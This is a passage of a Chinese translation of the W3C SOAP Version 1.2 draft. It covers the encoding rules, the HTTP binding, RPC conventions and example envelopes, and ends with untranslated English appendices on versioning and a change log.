类似的，引用的规则对于包含一些混合的存取标识的复合类型的编序而言已经足够了，这些存取标识有的是以名来区分，有的是以名和位置来区分 (也就是说，有些存取标识会重复出现) 。这并不一定需要有包含这一类型的模式存在，但是如果一个类型模型模式没有该类型时，那么一个对应的XML句法模式和实例就应该被生成。

Example 40
<xyz:PurchaseOrder xmlns:xyz="http://example.org/2001/06/Orders" >
<CustomerName>Henry Ford</CustomerName>
<ShipTo>
<Street>5th Ave</Street>
<City>New York</City>
<State>NY</State>
<Zip>10010</Zip>
</ShipTo>
<PurchaseLineItems>
<Order>
<Product>Apple</Product>
<Price>1.56</Price>
</Order>
<Order>
<Product>Peach</Product>
<Price>1.48</Price>
</Order>
</PurchaseLineItems>
</xyz:PurchaseOrder>
Generic compound types

类似的，将一个复合类型值编序为类似数组结构的是合法的，但这不是enc:Array类型或其子类型。例如:

Example 41
<PurchaseLineItems>
    <Order>
        <Product>Apple</Product>
        <Price>1.56</Price>
    </Order>
    <Order>
        <Product>Peach</Product>
        <Price>1.48</Price>
    </Order>
</PurchaseLineItems>
Compound value

5.5 默认值

一个省略格式的存取标识元素以为着有一个默认值或是尚不知道它的值。而该细节是基于存取标识、方法和上下文的。例如一个省略格式的存取标识典型地是表示一个多态存取标识的Null值(Null依赖存取标识的确切含义)。同样地，一个省略格式的Boolean存取标识典型地就意味着是一个False值或值未知，同时一个省略格式的数值存取标识典型地意味着它的值是0或值未知。

5.6 SOAP root属性

SOAP root属性可以被用来标注编序的根，当然他并不是对象图真正的根，所以对象图是可以解序的。该属性可以赋予“0”和“1”这两个值的任意一个。一个对象图的真正的根一般就有值“1”。那些非真正根的编序根也可以被标注为赋予值为“1”的编序根。一个元素也可以被明确地标注为赋予值为“0”的非编序根。

SOAP根属性可以出现在SOAP Header和SOAP Body元素中的任何子元素里，该属性并没有一个默认值。

6. 在HTTP中使用SOAP

本节描述了如何在使用或不使用HTTP Extension Framework的前提下将SOAP与HTTP的协同工作机制。将SOAP绑定在HTTP上可以利用HTTP丰富的特性集，提供使用SOAP形式方法和分布适应性的优点。将SOAP在HTTP上传输并不以为着SOAP可以完全超越HTTP的语义，更恰当的描述应当是SOAP的语义通过HTTP的映射而很自然地成为HTTP的语义。

SOAP很自然地利用HTTP的请求/响应消息模型，将SOAP请求的参数放在HTTP请求里，而将SOAP响应的参数放在HTTP响应里面。注意，无论如何，SOAP的中间介与HTTP中间介是不同的。也就是说，根据HTTP Connection头字段来寻址的HTTP中间介一般并不能来处理HTTP请求中的SOAP实体体。

当需要将SOAP消息体包含在HTTP消息中时，HTTP应用程序必须依照RFC2376[3]使用媒体类型“text/xml”。

6.1 SOAP HTTP请求

虽然SOAP可以和多种HTTP请求方法联合使用，但这里的绑定只定义了SOAP是如何在HTTP Post请求中传输的。(可参阅section 7了解如何在RPC中使用SOAP，以及section 6.3如何使用HTTP Extension Framework)

6.1.1 HTTP Header中的SOAPAction字段

SOAPAction HTTP请求头字段(header field)可以用于指示SOAP HTTP请求的目的。它的值是一个标识该目的的URI。SOAP对于格式上并没有严格的限制，同时对URI的描述以及是否要是可解析的都没有严格的限制。当发出SOAP HTTP请求时，HTTP客户必须使用该头字段。

soapaction | = | "SOAPAction" ":" [ <"> URI-reference <"> ]
URI-reference | = | <as defined in RFC 2396 [4]>

SOAPAction头字段的存在及其内容可以被服务器例如防火墙用于在HTTP中过滤SOAP请求消息。当该字段的值为空字符串( “”)时，则意味着SOAP消息的目的由HTTP Request-URI来提供。而如果没有值则表示对消息的目的没有指示。

例如:

Example 42
SOAPAction: "http://electrocommerce.org/abc#MyMessage"
SOAPAction: "myapp.sdl"
SOAPAction: ""
SOAPAction:
Examples of values for SOAPAction

6.2 SOAP HTTP响应

在HTTP之上的SOAP遵从用于在HTTP中表示通讯状态的HTTP状态代码的语义。例如，2xx状态代码表明这是客户端包含SOAP构件的请求被成功的接收、理解和接受等等。

当处理请求的时候发生SOAP错误的时候，SOAP HTTP服务器必须发出一个HTTP 500 “Internal Server Error”响应同时在包含于该响应的SOAP消息中应包含一个SOAP Fault元素(参阅 section 4.4)来指明SOAP处理的错误。

6.3 HTTP扩展框架

SOAP消息可以与HTTP Extension Framework[6]一起使用来标识SOAP HTTP请求的出现和意图。

是使用Extension Framework还是使用简单HTTP对于通讯各方而言是一个策略及能力的问题。客户端可以通过一个强制扩展声明以及一个“M-”HTTP方法名前缀来强制使用HTTP Extension Framwork。服务器端可以通过使用 510 “Not Extended” HTTP状态代码来强制使用HTTP Extension Framework。也就是说，通过一次额外的环游，每个通讯方都可以检测到其他通讯方和因此的动作。

用于使用Extension Framework标识SOAP的扩展标识是:

http://www.w3.org/2001/06/soap-envelope

6.4 SOAP HTTP示例

Example 43
POST /StockQuote HTTP/1.1
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
SOAPAction: "http://electrocommerce.org/abc#MyMessage"
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
. . .
</env:Envelope>
SOAP HTTP Request Using POST

Example 44
HTTP/1.1 200 OK
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
. . .
</env:Envelope>
SOAP HTTP Response to Example 43

Example 45
M-POST /StockQuote HTTP/1.1
Man: "http://www.w3.org/2001/06/soap-envelope"; ns=NNNN
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
NNNN-SOAPAction: "http://electrocommerce.org/abc#MyMessage"
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
. . .
</env:Envelope>
SOAP HTTP Request using the experimental HTTP Extension Framework

Example 46
HTTP/1.1 200 OK
Ext:
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
. . .
</env:Envelope>
SOAP HTTP Response to Example 45

7. 在RPC中使用SOAP

SOAP的一个设计目标就是要利用XML的可扩展性和可伸缩性来包装和交换RPC调用。本节定义了一个统一的远程过程调用和响应的表示。

其实我们也可以预想到在RPC环境下的表示很可能是与在其他表示中定义的编码风格结合。SOAP encodingStyle属性(参阅 section 4.3.2)可以被用于指明在本节表示中使用的方法调用/响应的编码风格。

在RPC中使用SOAP与SOAP协议绑定(参阅 section 6)基本是正交的。在使用HTTP作为SOAP协议绑定媒介的情况下，一个RPC调用可以很自然地映射到一个HTTP请求，而RPC响应则可以映射到HTTP响应。无论如何，使用SOAP方式的RPC并不限于HTTP协议绑定。

为实施一个方法调用，需要以下信息:

  • 目标SOAP结点的URI

  • 方法名

  • 可选的方法或过程的特征

  • 方法或过程的参数

  • 可选的头数据

SOAP依赖协议绑定来提供传送URI的机制。例如，对HTTP而言，请求URI指明了与该调用相对应的资源。除要求该URI是合法的以外，SOAP对于该地址没有任何限制(参阅[4]以获得URI的更多信息)。

7.1 RPC和SOAP Body

RPC调用和响应都是在SOAP Body元素(参阅 section 4.3)中传送，使用如下表示方式:

  • 一个方法调用被建模成一个结构struct。

  • 该方法调用显示为一个简单结构struct，包含每个[in]或[in/out]参数的存取标识。该结构的名和类型可使用过程或方法的名来标识。

  • 每个[in]或[in/out]参数都被表示为一个存取标识，该存取标识的名和类型都对应于相应参数的名和类型。他们的次序也是按照原来RPC中的次序。

  • 一个方法响应被建模成一个结构struct。

  • 该方法响应显示为一个简单结构struct，包含每个[out]或[in/out]参数的存取标识。而第一个存取标识是返回值，而随后则是按照原来次序的返回参数。

  • 每个[out]或[in/out]参数都被表示为一个存取标识，该存取标识的名和类型都对应于相应参数的名和类型。返回值的存取标识名并没有多少语义。同样的，结构的名也并没有多少语义。当然，无论如何，在添加了“Response”字串的方法名后，要有一个约定来命名它。

  • 方法调用出错应使用SOAP Fault元素来编码(餐饮 section 4.4)。如果一个绑定协议对于错误表达还有额外规则，那么这些规则都应当被遵守。

就象先前表述的那样，方法和响应的结构可以使用在section 5中定义的规则来编码，也可以使用在encodingStyle属性中描述的其他编码(参阅 section 4.1.1)。

应用程序可以处理漏写参数的请求不过也可以返回一个错误。

因为在响应中若包含“result”则表明成功，若包含“fault”则表明失败，所以如果方法响应中同时包含了“result”和“fault”则是错误的。

7.2 RPC和SOAP Header

对于那些并非是方法的正式调用数据部分，而是方法请求编码相关的一些额外信息，也可以在RPC编码中表示。如果这样，它必须作为SOAP Header元素的一个子元素来描述。

对于使用header元素的一个例子是在消息中传送一个事务ID。事务ID并不是调用参数表中的一员，它一般是要被下层构件所处理而不仅仅是一个应用程序ID，而这里并没有一个直接的方法在调用中传送这一需要的信息。通过在头上加一个条目并赋予它一个固定的名字，接收方的事务管理器就可以将该事务ID抽取出来，同时就可以在不影响远程过程调用的代码的前提下使用它。

8. 安全机制的考虑

在本文档中并不包含完整性和私密性保护的方法的描述。这些问题将在本文档的以后版本中详细说明。

9. 参考文献

9.1. Normative references

[2] IETF "RFC 2119: Key words for use in RFCs to Indicate Requirement Levels", S. Bradner, March 1997. Available at http://www.ietf.org/rfc/rfc2119.txt

[3] IETF "RFC 2376: XML Media Types", E. Whitehead, M. Murata, July 1998. Available at http://www.ietf.org/rfc/rfc2376.txt

[4] IETF "RFC 2396: Uniform Resource Identifiers (URI): Generic Syntax", T. Berners-Lee, R. Fielding, L. Masinter, August 1998. Available at http://www.ietf.org/rfc/rfc2396.txt

[5] IETF "RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1", R. Fielding, J. Gettys, J. C. Mogul, H. Frystyk, T. Berners-Lee, January 1997. Available at http://www.ietf.org/rfc/rfc2616.txt

[6] IETF "RFC 2774: An HTTP Extension Framework", H. Nielsen, P. Leach, S. Lawrence, February 2000. Available at http://www.ietf.org/rfc/rfc2774.txt

[7] W3C Recommendation "Extensible Markup Language (XML) 1.0 (Second Edition)", Tim Bray, Jean Paoli, C. M. Sperberg-McQueen, Eve Maler, 6 October 2000. Available at http://www.w3.org/TR/2000/REC-xml-20001006

[8] W3C Recommendation "Namespaces in XML", Tim Bray, Dave Hollander, Andrew Layman, 14 January 1999. Available at http://www.w3.org/TR/1999/REC-xml-names-19990114/

[9] W3C Proposed Recommendation "XML Linking Language (XLink) Version 1.0", Steve DeRose, Eve Maler, David Orchard, 20 December 2000. Available at http://www.w3.org/TR/2000/PR-xlink-20001220/

[10] W3C Recommendation "XML Schema Part 1: Structures", Henry S. Thompson, David Beech, Murray Maloney, Noah Mendelsohn, 2 May 2001. Available at http://www.w3.org/TR/2001/REC-xmlschema-1-20010502/

[11] W3C Recommendation "XML Schema Part 2: Datatypes", Paul V. Biron, Ashok Malhotra, 2 May 2001. Available at http://www.w3.org/TR/2001/REC-xmlschema-2-20010502/

9.2. Informative references

[12] Transfer Syntax NDR, in Open Group Technical Standard "DCE 1.1: Remote Procedure Call", August 1997. Available at http://www.opengroup.org/public/pubs/catalog/c706.htm

[13] IETF "RFC2045: Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies", N. Freed, N. Borenstein, November 1996. Available at http://www.ietf.org/rfc/rfc2045.txt

A. SOAP Envelope Examples

A.1 Sample Encoding of Call Requests

Example 47
POST /StockQuote HTTP/1.1
Host: www.stockquoteserver.com
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
SOAPAction: "http://example.org/2001/06/quotes"
<env:Envelope
xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
<env:Header>
<t:Transaction
xmlns:t="http://example.org/2001/06/tx"
env:encodingStyle="http://www.w3.org/2001/06/soap-encoding"
env:mustUnderstand="1" >
5
</t:Transaction>
</env:Header>
<env:Body >
<m:GetLastTradePrice
env:encodingStyle="http://www.w3.org/2001/06/soap-encoding"
xmlns:m="http://example.org/2001/06/quotes" >
<m:symbol>DEF</m:symbol>
</m:GetLastTradePrice>
</env:Body>
</env:Envelope>
Similar to Example 1 but with a Mandatory Header

Example 48
POST /StockQuote HTTP/1.1
Host: www.stockquoteserver.com
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
SOAPAction: "http://example.org/2001/06/quotes"
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
<env:Body>
<m:GetLastTradePriceDetailed
env:encodingStyle="http://www.w3.org/2001/06/soap-encoding"
xmlns:m="http://example.org/2001/06/quotes" >
<Symbol>DEF</Symbol>
<Company>DEF Corp</Company>
<Price>34.1</Price>
</m:GetLastTradePriceDetailed>
</env:Body>
</env:Envelope>
Similar to Example 1 but with multiple request parameters

A.2 Sample Encoding of Response

Example 49
HTTP/1.1 200 OK
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
<env:Header>
<t:Transaction xmlns:t="http://example.org/2001/06/tx"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xsi:type="xs:int"
env:encodingStyle="http://www.w3.org/2001/06/soap-encoding"
env:mustUnderstand="1" >
5
</t:Transaction>
</env:Header>
<env:Body>
<m:GetLastTradePriceResponse
env:encodingStyle="http://www.w3.org/2001/06/soap-encoding"
xmlns:m="http://example.org/2001/06/quotes" >
<Price>34.5</Price>
</m:GetLastTradePriceResponse>
</env:Body>
</env:Envelope>
Similar to Example 2 but with a Mandatory Header

Example 50
HTTP/1.1 200 OK
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
<env:Body>
<m:GetLastTradePriceResponse
env:encodingStyle="http://www.w3.org/2001/06/soap-encoding"
xmlns:m="http://example.org/2001/06/quotes" >
<PriceAndVolume>
<LastTradePrice>34.5</LastTradePrice>
<DayVolume>10000</DayVolume>
</PriceAndVolume>
</m:GetLastTradePriceResponse>
</env:Body>
</env:Envelope>
Similar to Example 2 but with a Struct

Example 51
HTTP/1.1 500 Internal Server Error
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope">
<env:Body>
<env:Fault>
<faultcode>env:MustUnderstand</faultcode>
<faultstring>SOAP Must Understand Error</faultstring>
</env:Fault>
</env:Body>
</env:Envelope>
Similar to Example 2 but Failing to honor Mandatory Header

Example 52
HTTP/1.1 500 Internal Server Error
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
<env:Body>
<env:Fault>
<faultcode>env:Server</faultcode>
<faultstring>Server Error</faultstring>
<detail>
<e:myfaultdetails xmlns:e="http://example.org/2001/06/faults" >
<message>My application didn't work</message>
<errorcode>1001</errorcode>
</e:myfaultdetails>
</detail>
</env:Fault>
</env:Body>
</env:Envelope>
Similar to Example 2 but Failing to handle Body

B. Acknowledgements

This document is the work of the W3C XML Protocol Working Group.

Members of the Working Group are (at the time of writing, and by alphabetical order): Yasser al Safadi (Philips Research), Vidur Apparao (Netscape), Don Box (DevelopMentor), David Burdett (Commerce One), Charles Campbell (Informix Software), Alex Ceponkus (Bowstreet), Michael Champion (Software AG), David Clay (Oracle), Ugo Corda (Xerox), Paul Cotton (Microsoft Corporation), Ron Daniel (Interwoven), Glen Daniels (Allaire), Doug Davis (IBM), Ray Denenberg (Library of Congress), Paul Denning (MITRE Corporation), Frank DeRose (TIBCO Software, Inc.), Brian Eisenberg (Data Channel), David Ezell (Hewlett-Packard), James Falek (TIBCO Software, Inc.), David Fallside (IBM), Chris Ferris (Sun Microsystems), Daniela Florescu (Propel), Dan Frantz (BEA Systems), Dietmar Gaertner (Software AG), Scott Golubock (Epicentric), Rich Greenfield (Library of Congress), Martin Gudgin (Develop Mentor), Hugo Haas (W3C), Marc Hadley (Sun Microsystems), Mark Hale (Interwoven), Randy Hall (Intel), Gerd Hoelzing (SAP AG), Oisin Hurley (IONA Technologies), Yin-Leng Husband (Compaq), John Ibbotson (IBM), Ryuji Inoue (Matsushita Electric Industrial Co., Ltd.), Scott Isaacson (Novell, Inc.), Kazunori Iwasa (Fujitsu Software Corporation), Murali Janakiraman (Rogue Wave), Mario Jeckle (Daimler-Chrysler Research and Technology), Eric Jenkins (Engenia Software), Mark Jones (AT&T), Jay Kasi (Commerce One), Jeffrey Kay (Engenia Software), Richard Koo (Vitria Technology Inc.), Jacek Kopecky (IDOOX s.r.o.), Alan Kropp (Epicentric), Yves Lafon (W3C), Tony Lee (Vitria Technology Inc.), Michah Lerner (AT&T), Richard Martin (Active Data Exchange), Noah Mendelsohn (Lotus Development), Nilo Mitra (Ericsson Research Canada), Jean-Jacques Moreau (Canon), Masahiko Narita (Fujitsu Software Corporation), Mark Needleman (Data Research Associates), Eric Newcomer (IONA Technologies), Henrik Frystyk Nielsen (Microsoft Corporation), Mark Nottingham (Akamai Technologies), David Orchard (JamCracker), Kevin Perkins (Compaq), Jags Ramnaryan (BEA Systems), Andreas Riegg (Daimler-Chrysler Research and Technology), Hervé Ruellan (Canon), Marwan Sabbouh (MITRE Corporation), Shane Sesta (Active Data Exchange), Miroslav Simek (IDOOX s.r.o.), Simeon Simeonov (Allaire), Nick Smilonich (Unisys), Soumitro Tagore (Informix Software), James Tauber (Bowstreet), Lynne Thompson (Unisys), Patrick Thompson (Rogue Wave), Randy Waldrop (WebMethods), Ray Whitmer (Netscape), Volker Wiechers (SAP AG), Stuart Williams (Hewlett-Packard), Amr Yassin (Philips Research) and Dick Brooks (Group 8760). Previous members were: Eric Fedok (Active Data Exchange) Susan Yee (Active Data Exchange) Alex Milowski (Lexica), Bill Anderson (Xerox), Ed Mooney (Sun Microsystems), Mary Holstege (Calico Commerce), Rekha Nagarajan (Calico Commerce), John Evdemon (XML Solutions), Kevin Mitchell (XML Solutions), Yan Xu (DataChannel) Mike Dierken (DataChannel) Julian Kumar (Epicentric) Miles Chaston (Epicentric) Bjoern Heckel (Epicentric) Dean Moses (Epicentric) Michael Freeman (Engenia Software) Jim Hughes (Fujitsu Software Corporation) Francisco Cubera (IBM), Murray Maloney (Commerce One), Krishna Sankar (Cisco), Steve Hole (MessagingDirect Ltd.) John-Paul Sicotte (MessagingDirect Ltd.) Vilhelm Rosenqvist (NCR) Lew Shannon (NCR) Henry Lowe (OMG) Jim Trezzo (Oracle) Peter Lecuyer (Progress Software) Andrew Eisenberg (Progress Software) David Cleary (Progress Software) George Scott (Tradia Inc.) Erin Hoffman (Tradia Inc.) Conleth O'Connell (Vignette) Waqar Sadiq (Vitria Technology Inc.) Tom Breuel (Xerox) David Webber (XMLGlobal Technologies) Matthew MacKenzie (XMLGlobal Technologies) and Mark Baker (Sun Microsystems).

This document is based on the SOAP/1.1 specification whose authors were: Don Box (Develop Mentor), David Ehnebuske (IBM), Gopal Kakivaya (Microsoft Corp.), Andrew Layman (Microsoft Corp.) Noah Mendelsohn (Lotus Development Corp.), Henrik Frystyk Nielsen (Microsoft Corp.), Satish Thatte (Microsoft Corp.) and Dave Winer (UserLand Software, Inc.).

We also wish to thank all the people who have contributed to discussions on xml-dist-app@w3.org.

C. Version Transition From SOAP/1.1 to SOAP Version 1.2

EdNote: The scope of the mechanism provided in this section is for transition between SOAP/1.1 and SOAP version 1.2. The Working Group is considering providing a more general transition mechanism that can apply to any version. Such a general mechanism may or may not be the mechanism provided here depending on whether it is deemed applicable.

The SOAP/1.1 specification says the following on versioning in section 4.1.2:

"SOAP does not define a traditional versioning model based on major and minor version numbers. A SOAP message MUST have an Envelope element associated with the "http://schemas.xmlsoap.org/soap/envelope/" namespace. If a message is received by a SOAP application in which the SOAP Envelope element is associated with a different namespace, the application MUST treat this as a version error and discard the message. If the message is received through a request/response protocol such as HTTP, the application MUST respond with a SOAP VersionMismatch faultcode message (see section 4.4) using the SOAP "http://schemas.xmlsoap.org/soap/envelope/" namespace."

That is, rather than a versioning model based on shortnames (typically version numbers), SOAP uses a declarative extension model which allows a sender to include the desired features within the SOAP envelope construct. SOAP says nothing about the granularity of extensions nor how extensions may or may not affect the basic SOAP processing model. It is entirely up to extension designers be it either in a central or a decentralized manner to determine which features become SOAP extensions.

The SOAP extensibility model is based on the following four basic assumptions:

  1. SOAP versioning is directed only at the SOAP envelope. It explicitly does not address versioning of blocks, encodings, protocol bindings, or otherwise.
  2. A SOAP node must determine whether it supports the version of a SOAP message on a per message basis. In the following, "support" means understanding the semantics of the envelope version identified by the QName of the Envelope element:
    • A SOAP node receiving an envelope that it doesn't support must not attempt to process the message according to any other processing rules regardless of other up- or downstream SOAP nodes.
    • A SOAP node may provide support for multiple envelope versions. However, when processing a message a SOAP node must use the semantics defined by the version of that message.
  3. It is essential that the envelope remains stable over time and that new features are added using the SOAP extensibility mechanism. Changing the envelope inherently affects interoperability, adds complexity, and requires central control of extensions -- all of which directly conflicts with the SOAP requirements.
  4. No versioning model or extensibility model can prevent buggy implementations. Even though significant work has been going into clarifying the SOAP processing model, there is no guarantee that a SOAP 1.2 implementation will behave correctly. Only extensive testing within the SOAP community and design simplicity at the core can help prevent/catch bugs.

The rules for dealing with the possible SOAP/1.1 and SOAP Version 1.2 interactions are as follows:

  1. Because of the SOAP/1.1 rules, a compliant SOAP/1.1 node receiving a SOAP Version 1.2 message will generate a VersionMismatch SOAP fault using an envelope qualified by the "http://schemas.xmlsoap.org/soap/envelope/" namespace identifier.
  2. A SOAP Version 1.2 node receiving a SOAP/1.1 message may either process the message as SOAP/1.1 or generate a SOAP VersionMismatch fault using the "http://schemas.xmlsoap.org/soap/envelope/" namespace identifier. As part of the SOAP VersionMismatch fault, a SOAP Version 1.2 node should include the list of envelope versions that it supports using the SOAP upgrade extension identified by the "http://www.w3.org/2001/06/soap-upgrade" identifier.

The upgrade extension contains an ordered list of namespace identifiers of SOAP envelopes that the SOAP node supports in the order most to least preferred. Following is an example of a VersionMismatch fault generated by a SOAP Version 1.2 node including the SOAP upgrade extension:

Example 53
<env:Envelope xmlns:env="http://schemas.xmlsoap.org/soap/envelope/">
<env:Header>
<V:Upgrade xmlns:V="http://www.w3.org/2001/06/soap-upgrade">
<envelope qname="ns1:Envelope" xmlns:ns1="http://www.w3.org/2001/06/soap-envelope"/>
</V:Upgrade>
</env:Header>
<env:Body>
<env:Fault>
<faultcode>env:VersionMismatch</faultcode>
<faultstring>Version Mismatch</faultstring>
</env:Fault>
</env:Body>
</env:Envelope>
VersionMismatch fault generated by a SOAP Version 1.2 node, and including a SOAP upgrade extension

Note that existing SOAP/1.1 nodes are not likely to indicate which envelope versions they support. If nothing is indicated then this means that SOAP/1.1 is the only supported envelope.

D. Change Log

D.1 SOAP Specification Changes

Date | Author | Description
20010629 | MJG | Amended description of routing and intermediaries in Section 2.1
20010629 | JJM | Changed "latest version" URI to end with soap12
20010629 | JJM | Remove "previous version" URI
20010629 | JJM | Removed "Editor copy" in <title>
20010629 | JJM | Removed "Editor copy" in the title.
20010629 | JJM | Added "Previous version" to either point to SOAP/1.1, or explicitly mention there was no prior draft.
20010629 | JJM | Pre-filed publication URIs.
20010629 | JJM | Incorporated David's suggested changes for the examples in section 4.1.1 to 4.4.2
20010629 | JJM | Fixed some remaining typos.
20010629 | MJH | Fixed a couple of typos.
20010628 | MJG | Made various formatting, spelling and grammatical fixes.
20010628 | MJG | Moved soap:encodingStyle from soap:Envelope to children of soap:Header/soap:Body in examples 1, 2, 47, 48, 49 and 50
20010628 | MJG | Changed text in Section 2.1 from 'it is both a SOAP sender or a SOAP receiver' to 'it is both a SOAP sender and a SOAP receiver'
20010628 | MJG | Fixed caption on Example 24
20010628 | MJH | Fixed a couple of capitalisation errors where the letter A appeared as a capital in the middle of a sentence.
20010628 | MJH | Updated figure 1, removed ednote to do so.
20010622 | HFN | Removed the introductory text in terminology section 1.4.3 as it talks about model stuff that is covered in section 2. It was left over from original glossary which also explained the SOAP model.
20010622 | HFN | Moved the definition of block to encapsulation section in terminology
20010622 | HFN | Removed introductory section in 1.4.1 as this overlaps with the model description in section 2 and doesn't belong in a terminology section
20010622 | HFN | Removed reference to "Web Characterization Terminology & Definitions Sheet" in terminology section as this is not an active WD
20010622 | HFN | Added revised glossary
20010622 | HFN | Added example 0 to section 1.3 and slightly modified text for example 1 and 2 to make it clear that HTTP is used as a protocol binding
20010622 | MJG | Added http://example.com/... to list of application/context specific URIs in section 1.2
20010622 | MJG | Updated examples in section 4.1.1 to be encodingStyle attributes rather than just the values of attributes
20010622 | MJG | Added table.norm, td.normitem and td.normtext styles to stylesheet. Used said styles for table of fault code values in section 4.4.1
20010622 | MJG | In Appendix C, changed upgrade element to Upgrade and env to envelope. Made envelope unqualified. Updated schema document to match.
20010622 | MJG | Moved MisunderstoodHeader from envelope schema into seperate faults schema. Removed entry in envelope schema change table in Appendix D.2 that refered to additon of said element. Modified example in section 4.4.2 to match. Added reference to schema document to section 4.4.2
20010622 | MJH | Added binding as a component of SOAP in introduction. Fixed a couple of typos and updated a couple of example captions.
20010622 | MJG | Made BNF in section 6.1.1 into a table.
20010622 | MJG | Made BNFs in section 5.1 clause 8 into tables. Added associated 'bnf' style for table and td elements to stylesheet
20010622 | MJG | Amended text regarding namespace prefix mappings in section 1.2
20010622 | MJG | Added link to schema for the http://www.w3.org/2001/06/soap-upgrade namespace to Appendix C. Updated associated ednote.
20010622 | MJG | Added reference numbers for XML Schema Recommendation to text prior to schema change tables in Appendix D.2 and linked said numbers to local references in this document
20010622 | MJG | Reordered entries in schema change classification table in Appendix D.2
20010622 | MJG | Changed type of mustUnderstand and root attributes to standard boolean and updated schema change tables in Appendix D.2 accordingly
20010622 | JJM | Manually numbered all the examples (53 in total!)
20010622 | JJM | Added caption text to all the examples
20010622 | JJM | Replaced remaining occurrences of SOAP/1.2 with SOAP Version 1.2 (including <title>)
20010621 | HFN | Added ednote to section 4.2.2 and 4.2.3 that we know they have to be incorporated with section 2
20010621 | HFN | Added version transition appendix C
20010621 | HFN | Applied new styles to examples
20010621 | HFN | Changed term "transport" to "underlying protocol
20010621 | HFN | Changed example URNs to URLs of the style http://example.org/...
20010621 | MJH | Updated the Acknowledgements section.
20010621 | JJM | Added new style sheet definitions (from XML Schema) for examples, and used them for example 1 and 2.
20010621 | JJM | Incorporated David Fallside's comments on section Status and Intro sections.
20010620 | HFN | Changed the status section
20010620 | HFN | Changed title to SOAP Version 1.2 and used that first time in abstract and in body
20010620 | HFN | Removed question from section 2.4 as this is an issue and is to be listed in the issues list
20010620 | HFN | Moved change log to appendix
20010615 | JJM | Renamed default actor to anonymous actor for now (to be consistent)
20010615 | JJM | Fixed typos in section 2
20010614 | JJM | Updated section 2 to adopt the terminology used elsewhere in the spec.
20010613 | MJH | Updated mustUnderstand fault text with additions from Martin Gudgin.
20010613 | MJH | Added schema changes appendix from Martin Gudgin.
20010613 | MJH | Added mustUnderstand fault text from Glen Daniels.
20010612 | MJH | Fixed document <title>.
20010612 | MJH | Moved terminology subsection from message exchange model section to introduction section.
20010612 | MJH | Fixed capitalisation errors by replacing "... A SOAP ..." with "... a SOAP ..." where appropriate.
20010612 | MJH | Removed trailing "/" from encoding namespace URI.
20010612 | MJH | Fixed links under namespace URIs to point to W3C space instead of schemas.xmlsoap.org.
20010612 | MJH | Removed some odd additional links with text of "/" pointing to the encoding schema following the text of the encoding namespace URI in several places.
20010611 | MJH | Incorporated new text for section 2.
20010611 | JJM | Changed remaining namespaces, in particular next.
20010609 | JJM | Changed the spec name from XMLP/SOAP to SOAP.
20010609 | JJM | Changed the version number from 1.1 to 1.2.
20010609 | JJM | Changed the namespaces from http://schemas.xmlsoap.org/soap/ to http://www.w3.org/2001/06/soap-.
20010609 | JJM | Replaced the remaining XS and XE prefixes to env and enc, respectively.
20010601 | MJH | Updated the examples in section 1, 6 and appendix A with text suggested by Martin Gudgin to comply with XML Schema Recommendation.
20010601 | JJM | Updated the examples in section 4 and 5 with text suggested by Martin Gudgin, to comply with XML Schema Recommendation.
20010531 | HFN | Removed appendices C and D and added links to live issues list and separate schema files.
20010531 | MJH | Added this change log and updated schemas in appendix C to comply with XML Schema Recommendation.

D.2 XML Schema Changes

The envelope and encoding schemas have been updated to be compliant with the XML Schema Recomendation[10,11]. The table below shows the categories of change.

Class | Meaning
Addition | New constructs have been added to the schema
Clarification | The meaning of the schema has been changed to more accurately match the specification
Deletion | Constructs have been removed from the schema
Name | The schema has been changed due to a datatype name change in the XML Schema specification
Namespace | A namespace name has been changed
Semantic | The meaning of the schema has been changed
Style | Style changes have been made to the schema
Syntax | The syntax of the schema has been updated due to changes in the XML Schema specification

The table below lists the changes to the envelope schema.

Class | Description
Namespace | Updated to use the http://www.w3.org/2001/XMLSchema namespace
Namespace | Value of targetNamespace attribute changed to http://www.w3.org/2001/06/soap-envelope
Clarification | Changed element and attribute wildcards in Envelope complex type to namespace="##other"
Clarification | Changed element and attribute wildcards in Header complex type to namespace="##other"
Clarification | Added explicit namespace="##any" to element and attribute wildcards in Body complex type
Clarification | Added explicit namespace="##any" to element and attribute wildcards in detail complex type
Clarification | Added an element wildcard with namespace="##other" to the Fault complex type
Name | Changed item type of encodingStyle from uri-reference to anyURI
Name | Changed type of actor attribute from uri-reference to anyURI
Name | Changed type of faultactor attribute from uri-reference to anyURI
Semantic | Added processContents="lax" to all element and attribute wildcards
Semantic | Changed type of the mustUnderstand attribute from restriction of boolean that only allowed 0 or 1 as lexical values to the standard boolean in the http://www.w3.org/2001/XMLSchema namespace. The lexical forms 0, 1, false, true are now allowed.
Style | Where possible comments have been changed into annotations
Syntax | Changed all occurences of maxOccurs="*" to maxOccurs="unbounded"
Syntax | Added <xs:sequence> to all complex type definitions derived implicitly from the ur-type
Syntax | Added <xs:sequence> to all named model group definitions

The table below lists the changes to the encoding schema.

Class | Description
Namespace | Updated to use the http://www.w3.org/2001/XMLSchema namespace
Namespace | Value of targetNamespace attribute changed to http://www.w3.org/2001/06/soap-encoding
